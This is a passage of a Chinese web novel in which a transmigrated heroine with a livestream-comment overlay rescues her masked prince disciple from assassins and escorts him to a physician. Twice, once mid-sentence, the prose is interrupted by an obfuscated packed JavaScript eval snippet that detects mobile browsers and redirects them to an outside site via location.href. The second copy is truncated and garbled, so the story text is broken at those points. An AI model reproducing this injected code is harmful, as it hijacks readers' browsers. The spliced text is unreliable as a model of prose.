“姑娘,想要什么图案的?”摊主热情地招呼。 她思考了一下,“给我来只猫的吧。” “好嘞。”摊主动作娴熟地画出一只蹲着的猫,单手举着递过去:“姑娘,这是你要的猫,拿好咯!” “多谢。”宋云熹接过,露出一个笑容,大口咬了一下糖画,成功把一只可爱的猫咪给给毁了,还吃得满嘴都是渣。 她也不在意,继续边吃边逛,弹幕跟着云逛了一阵,已经各聊各的了。 【刚去逛了一圈回来,主播怎么还在悠闲逛街。】 【话说乖徒儿那边在干嘛?】 宋云熹扫了一眼回复,底下清一色的【不知道】。 突然,在快速刷过的一串“不知道”的回复中,她敏锐地捕捉到了一条有效信息。 【刚去那边看了,徒弟遇到刺客,快挡不住了!】 再顾不得隐藏能看到弹幕的事情,宋云熹根据弹幕拼凑出出事地点足下生风,朝凌翌珩在的地方赶去。 到了巷子口,顺手在旁边摸了根木棍握在手上,小心翼翼地靠近巷子口后,趴在墙边观察形势。 里面果然有人在缠斗,十几个人打一个,但是中间被围着的那人却丝毫不落下风,身姿矫健,辗转腾挪间就躲过了几道致命伤,还打倒了几个人。 但是对方毕竟有人数优势,他开始逐渐落在下风,一个腾身躲开飞来的暗器,侧头那一下,宋云熹看清了他的脸。 不,准确的说她并没有看完整,因为他脸上待着一副遮住半边脸面具,但那也足够她认出来了。 果然是她那倒霉徒弟。 该死的,他的那些暗卫呢?身为皇子怎么连保护安全的暗卫都没有?! 要不要出去帮忙? 她有些犹豫。 想起自己前世的挣扎求生,一时的善意而付出的代价,十指握紧了手中的木棍。 眼看着他动作越来越迟缓,再一次勉强避开一把冲着头顶而来的剑后,他朝后退了几步拉开距离,却没有注意到从侧面拍来了一掌。 凌翌珩做梦都没想到,他还是太子时,待在勾心斗角的皇宫里都能安然无恙的自己,居然在远离皇城纷争后栽在了奸细的手里,被人泄露行踪,逼到了这个地步。 偏偏他前段时间腰腹处受的伤还未好利索,在刚刚的缠斗中伤口又撕裂了,虽然不致命,但却大大地影响了他的动作。 他已经发出了信号,玄金应该正在带人赶来的路上,只要自己能撑住。 努力调整呼吸,精神高度紧绷,看着面前越逼越近的人。 正当他退无可退,打算奋力一搏的时候,一个人却从斜刺里插了进来,抬手替他挡开一人的攻击,反手抓住那人的手臂一个过肩摔就把人摔在了地上。 她动作间手上的衣袖拂过凌翌珩的脸,一阵香风扑面而来。 杀手们出招凌厉狠辣,招招致命,完全不留任何余地。宋云熹面对多人的夹击游刃有余地游走于他们之间,专挑人的软肋下手,其毒辣程度不亚于面前的专业杀手。 有了她的加入,凌翌珩的压力瞬间减小,他在动作间隙中回头,逆光中看不清那人的面容,只能从身形依稀看出是名女子。 但这也足够他认出来人了。 她怎么会在这? “愣着干嘛?!”宋云熹发现了他的走神,没好气道。 该死的,自己这多管闲事的性格到底什么时候能改改! 来不及细想,她只能抓紧速度解决手上的人,在又放倒了一个人之后,宋云熹和凌翌珩背对背,喘着气和其他人拉开距离,此时场上还剩下的人只有先前的三分之一。 深闺小姐的体能还是太差了,才这么一小会儿的功夫,宋云熹就已经有了体力不支的感觉。不知道旁边的人在自己到来之前和他们纠缠了多久,但是光听着他粗重的喘息声,估计也支撑不了多久,再这么下去可能就打不过了。 必须要速战速决。缓过一口气,二人对视一眼,默契地同时冲了出去。 半晌后,宋云熹用脚翻开躺在地上,半死不活的人,确定他们再也没有反抗的能力后,回头询问隐在暗处,半靠在墙上休息的人:“这些人你打算怎么办?” 闻言,凌翌珩微抬了下眼皮,恹恹道:“不用管,稍后我的人会来处理。” 一开口,才发现声音嘶哑,如同地狱索命的恶鬼。 听他这么说,宋云熹便不好再多开口,也学他一样靠在墙上,气氛一时间陷入沉默。 宋云熹悄悄抬头,她这时才看清男人的样子,他穿着一身玄色衣裳,已经在刚才的打斗中被割的破破烂烂,脸上戴着一副黑色面具,遮住了出色的样貌。 捏了捏指骨,她不是很确定现在是要打个招呼,还是装作不认识,别揭穿他的身份。 “为什么要帮我?” 宋云熹被他突如其来的问题问的愣了一下,眼睛盯着面前的黑暗看了很久,才缓缓回答,“可能是因为……也有很多人帮过我吧。” 前世虽然遇到了很多糟心的人,但她也接受了很多好心人的帮助,否则可能等不到她还完养母欠下的债,就先饿死了。 可能是因为感受过这个世界的善意,所以才想要回报这个世界吧,她想。 沉默还在蔓延,她渐渐受不了这个气氛,主动打破沉默,试探着问,“你没事吧?这群人为什么要追杀你?” 凌翌珩依旧没声儿,像在思考。 就在宋云熹以为他不会回答时,他说话了,低沉暗哑的声音响起。 “我本是楚将军部下的斥候,将军派我先行一步回来报信,却不料军中奸细暴露了我的行踪,这才遭此横祸。此番多亏姑娘出手相助,日后必有答谢。” 说完直起身子,朝她拱了拱手。 他这么说,就是不想暴露身份的意思,连声音都故意伪装了。 “举手之劳罢了。”宋云熹也无意拆穿他,便也配合他的表演,装作不认识他的模样,客气道。 回头看看躺在地上动弹不得的那群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819648|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,总归有些不放心,宋云熹和他说了一声就转身向巷子外走去,决定去找些绳子回来。 走出小巷,强烈的阳光一瞬间刺的宋云熹睁不开眼。她想着不知道凌翌珩的人什么时候能来,于是为了保险起见,先拜托了一个摊主去附近的官府报案,随后才在一个小贩处买到了几捆结实的绳子。 拿着绳子走回去,快到的时候才发现他已经不在之前的位置待着了,而是蹲在一个人面前,在他的身上翻找。 “有什么发现吗?”宋云熹站定在他旁边,把手上的绳子递给他,顺便把自己刚才拜托人去报官的事情跟他说了一遍,才想起来似的问了句,“我不会破坏了你的计划吧?” 他们二人一个蹲着一个站着,因为姿势的问题,凌翌珩需要微微抬头才能看到她的脸,他有些不自在地别过脸去,淡淡地吐出两个字:“没事。” 不是不会,而是没事吗? 所以果然会有影响。 宋云熹努力压下唇角,就当做是……一个小小的惩罚吧。 “姑娘的身手不错,不知师承何人?”翻遍了刺客身上也没什么有用的发现,凌翌珩直起身子,目光投向小巷入口,状似无意问道。 第一次见面就救了他,当时他还以为是运气好,乱拳打死老师傅,现在看来,并不是啊。 她没有立即回答,凌翌珩觉得不对,抬眼瞧她。 她的脸在光亮不足的巷子中半明半暗,眼尾狭长,眼睫漆黑浓密,看人时似乎能将人的魂儿给勾走。唇不点而赤,明明是极艳丽极张扬的长相,却因为脸上那抹漫不经心的笑中和了五官中的张扬,笑不达眼底的冷淡无形中与人拉开了距离。 既不会让人觉得攻击力太强,却也不会淹没她自身的气质。 作为太子,凌翌珩自认见过不少美人,顶好看的也不是没有。但从来没有一个人能像面前这人一样,将妩媚和冷艳结合的如此完美。 宋云熹长得自然是不差的。但是从前的宋云熹性格温和,温婉贤淑的气质硬生生的压制住了长相上的张扬艳丽。现在同一副皮囊,换了个灵魂,给人的感觉自然也不同。 “公子谬赞了,”她一开口,脸上的表情慢慢生动起来,身上那股冷劲儿散去,未语先带三分笑,“我这三脚猫功夫哪需要师父,自己瞎琢磨的而已。” 话锋一转,“不过说起这个,我最近倒是新收了个不省心的徒弟。” 凌翌珩眼睫颤了颤,手指无意识地理了理破破烂烂的衣裳,笑道,“是吗?” “是啊。”宋云熹看不到他的表情,却可以看到他的动作,在心里暗暗偷笑,面上还要装出副好好师父的模样,叹了口气: “我一没看住他就在外面惹事生非,回头还要我给他收拾烂摊子,你说是不是欠收拾。” “确实。”他认同地点点头。 “你也觉得是吧,等他这次回来我定要狠狠教训他一顿,给他立立规矩。” “姑娘准备怎么教训?” 宋云熹歪头想了想,“就让他写一篇夸赞师父的文章,再当着所有人的面念出来,你觉得怎么样?” 凌翌珩背靠墙,迎着巷口微光偏头看她,无奈一笑, “师父,你这自卖自夸的本领这几日见长啊。” 11. 过渡 “终于不装了?”宋云熹戏谑地看着他。 凌翌珩耸耸肩,抬手取下面具,露出沾染了些血污的脸,“师父都认出来了,我还有什么好装的?” 用手搓了把脸,反而把脸上的血污抹开,露出的苍白侧脸显得那些污渍更加扎眼。 他像终于撑不住似的背靠墙坐下,单腿曲起,手臂搭在曲起的膝盖上。 宋云熹看他微垂着头不说话,取出一块手帕往前走了几步,突然嗅到一股浓重的血腥味儿。 “你受伤了?”宋云熹一脸犹疑地看着他,其实这里一直都有若有若无的血腥味儿,她也没在意,只以为是其他人受伤散发出来的,现在离得近了才发现他身上传来很浓重的血腥味。 “旧伤罢了,都是些小伤,不碍事。”凌翌珩愣了一下,下意识伸手摸了下腹部右侧的地方,果然摸到了一手黏腻。 啧,凌翌珩眉头一皱,刚才打的那么激烈,伤口果然裂开了,回去肯定又是一顿鸡飞狗跳。 一想到容易大惊小怪的下属,凌翌珩头疼地按了按太阳穴,恨不得把那个泄露自己行踪的人大卸八块。 “我带你去找大夫看一下吧。”宋云熹虽然看不太清,但是凭气味判断也知道,他的伤也不可能是什么小伤。 这可是她的王牌,要是出了什么事儿她以后可怎么办。 “不……”凌翌珩刚想拒绝,又突然想到,如果可以找个大夫重新包扎一下,说不定可以神不知鬼不觉地蒙混过关,于是话峰一转,同意了:“那就有劳师父了。” 宋云熹站在原地,有些疑惑地想,他什么时候这么客气了? “那我们走吧。”宋云熹伸手把他从地上扶起来,随后手放在他的手臂处,一路搀扶着他。 “不……”凌翌珩想挣脱,告诉她自己还没有严重到需要人家搀扶的地步,他也不习惯别人碰他。 但一低头,就看到她圆润小巧的耳朵,往下是顺着衣领处露出的白皙脖颈,喉结滚了滚,嘴巴张张合合几次,嗓子好像被黏住了一样,发不出一点儿声音。 “什么?”宋云熹没听清他说的什么,抬头眼里满是疑问。 他清了清嗓子,控制着力度往她身上靠,露出抹虚弱的笑,“不用这么小心,握紧点,我现在有点没力气。” 闻言,宋云熹收紧了握着他手臂的五指。 宋云熹搀扶着凌翌珩走出巷子,迎面看到十几个身着黑衣的人赶来,身后跟着一群身着官服的人,为首的人浓眉大眼,嘴唇略厚,模样倒是极为周正,只是看起来年纪略小。 虽然她让人报官时描述情况的时候是夸张了一点,但也没必要来这么多人吧? “这么多人?”凌翌珩显然也愣住了。 宋云熹有些尴尬地应了一声。 十几位黑衣男子步履匆匆地走到二人面前,为首的人尽管脸上遍布焦急之色,但还是低下头向着凌翌珩行了一礼,“殿……” 话还未出口就被凌翌珩打断,“我没事,不必紧张。” “这是你的人?”宋云熹戳戳凌翌珩。 “嗯。”凌翌珩刚才一直微微靠着宋云熹,现在身子站直,稍稍侧身挡住了属下探究的视线。 “我先去跟他们交代一下。”宋云熹看他们好像有话要说,识趣的往官兵方向走去。 “殿下,属下护卫不周,请殿下责罚。”玄金深深低下头,语气里都是自责。 “不妨事。”凌翌珩摆摆手,冷静下达命令。 “你留下,玄水回去转告玄木我的伤势不碍事,其他人去查那些刺客的身份,我还有事,晚点回去。” “殿下!”站在玄金旁边的人出声,“您才刚遇刺,刺客身份不明,怎么能只让玄金一个人留在你身边!” “是啊,殿下。” “殿下三思!” 其他人纷纷出声,玄金也满脸不认同。 “人越多,我们的目标就越明显,按我说的做,把人查出来。”凌翌珩面色苍白,但语气不容置喙,处于上位者的气势爆发,让人生不出一丝反抗心理。 “是。”众人纷纷低头行礼离去,只有玄金留下。 宋云熹眼角余光瞥到其他人都走了,刚好自己这里交代的差不多,又交代了几句就回到凌翌珩身边。 “你怎么不和他们一起回去?” “我的人里没有懂医术的,师父不是要带我去看伤吗?”凌翌珩笑着说。 宋云熹视线上下扫视他,双手抱臂,似笑非笑。 她才不信他的鬼话,堂堂皇子身边怎么可能没有自己用的医师? 但她也懒得拆穿他,往刚才打探出的最近的医馆方向抬了抬下巴,“走吧。” 玄金见状上前两步想扶一下自家主子,凌翌珩不动声色地避开他伸出的手,朝宋云熹张开了双臂,语气委屈,“师父,我没力气,走不动了。” 宋云熹:“……” 这人到底能不能有点身为皇子的包袱啊? 不知道的人还以为他在求抱抱。 她叹口气,无奈地上前拉过他的手臂搭在自己肩上,一只手环在他腰上将他撑住。 凌翌珩稍稍将身体的重量压到她身上,靠的近了,他身上独特的香味混杂着血腥味儿扑面而来,将宋云熹整个包围住。 凌翌珩心安理得地靠在宋云熹身上让她扶着走。 玄金放下被自家主子嫌弃的手,默默跟在二人身后。 来到医馆,大夫看到两人浑身是血的模样吓了一大跳,带着两人来到诊室,里面有两张床,中间还用一块布格挡开了。 大夫引着宋云熹将凌翌珩放在其中一张床上,随后看向她,“姑娘,你的伤……” “我没受伤,受伤的是他,您帮他看就好了。”宋云熹指指凌翌珩,露出一个礼貌的笑容,走到一旁坐下。 大夫点点头,让凌翌珩解开衣服,准备给他处理伤口。 宋云熹坐在一旁光明正大的偷看。 凌翌珩解开衣服露出里面缠好的纱布,白色的纱布此时已经已经被染成了鲜红色,他面不改色地继续把纱布解下来,露出里面血肉模糊的伤口。 看到伤口的瞬间,宋云熹面上云淡风轻,实际上忍不住微微倒吸了口凉气。 这是一道横贯整个左肩的砍伤,本来已经开始愈合的伤口因为刚才的打斗又全部撕裂开来,源源不断地流出鲜血。 感受到宋云熹的注视,凌翌珩莫名有点脸红,有些后悔没有让她出去。 宋云熹不知道他在想什么,只是静静看着他的伤口,沉默不语。 因为凌翌珩穿的衣服是深色的,所以她一直以为他的伤不算太严重,却没想到竟然是这样的,凌翌珩露出来的半边脸呈现着失血过多导致的苍白。 “大夫,他的伤怎么样?”宋云熹忍不住开口问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819649|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “伤口太深,失血过多,我现在只能尽量先用草药把血止住。”说着将一坨黑漆漆的草药敷在了凌翌珩的伤口上。 宋云熹看到那坨黑漆漆的东西的时候下意识的想伸手阻止,幸好理智及时回归。 她别开眼不再看大夫动作,盯着屋内的一盆小兰花发呆。 这老中医的药怎么奇奇怪怪的,到底有没有用啊,看这伤口的深度,得缝针才能止血吧。 但是这个时代的人哪里有这种技术。 太子殿下这金枝玉叶细皮嫩肉的,万一在这儿没整好留下些什么后遗症,不会找我秋后算账吧? 胡思乱想了一阵,还是老中医出声将她唤回了神。 “好了,这几日伤口不要碰水,我再给你开几副利于伤口恢复的药煎着吃。”老中医上好药将伤口包扎好,收拾东西起身道。 凌翌珩将半褪下的衣服拉起,微微点头,“多谢。” 宋云熹起身,在等老中医抓药的间隙和他闲聊。 “知道刺客的身份吗?” “有些想法。” 宋云熹调侃,“想不到你还是个香饽饽。” “师父就别打趣我了。”凌翌珩苦笑,将衣带系好。 玄金接过医师抓好的药,站在门口等待,凌翌珩看着宋云熹:“师父接下来有事吗?” 抬头看了眼天色还早,她寻思着正好去拜访一下厨师,点点头,“我去拜访一位故人,你先回去吧。” “那我跟师父一起。”凌翌珩马上接话。 宋云熹不赞成地拧眉,“你受伤了还想去哪?” 凌翌珩委屈,“师父明明答应了教我做生意的,我学费都交了您却不带我,还整日神龙见首不见尾。” 这么一想,好像是有点对不起他花的钱,但是…… “你那些钱不是拿来赌石的吗,我也给你开出了远超成本的翡翠原石,这还不够?” 他张了张嘴,又不说话了,把手伸进衣襟内掏出一个东西。 “给你的。” 宋云熹伸手接过,眼睛微微睁大,神色讶然。 这是一根造型简单的发簪。 重点不是造型,而是打造这根簪子的原材料。 如果她没看错的话,这是那天唯一开出的一小块帝王绿打造出来的。 “这?” “说好的七三分,这是你那份。”凌翌珩闷闷地说。 不知为什么,她直觉凌翌珩的心情不太好。 宋云熹:“……” 管他的,她又不是他爹妈,管天管地还管他心情好不好吗,白嫖的东西不要白不要。 她把东西收好,想起了刚冒出没多久的想法,想了想还是说道,“过几日等你的伤好了,就来茶楼找我吧,有事交代给你做。” 凌翌珩肉眼可见的高兴起来,保证过几天就来,然后带着玄金离开了。 看着他的背影消失,宋云熹先回了茶楼一趟,找李掌柜要到了茶楼以前的菜单。 打开一看,果不其然,上面只有寻常的一些吃食,并没有像她在酒楼看到的那种以茶叶为香料而做的食物。 不过这也正常,他们这毕竟只是茶楼。 她合上菜单,下楼向李掌柜打探了茶楼前厨师周正家的住址。 站在周正家门前,听着里面传来的喧闹夹杂着打骂声,她突然觉得自己来的好像不是时候。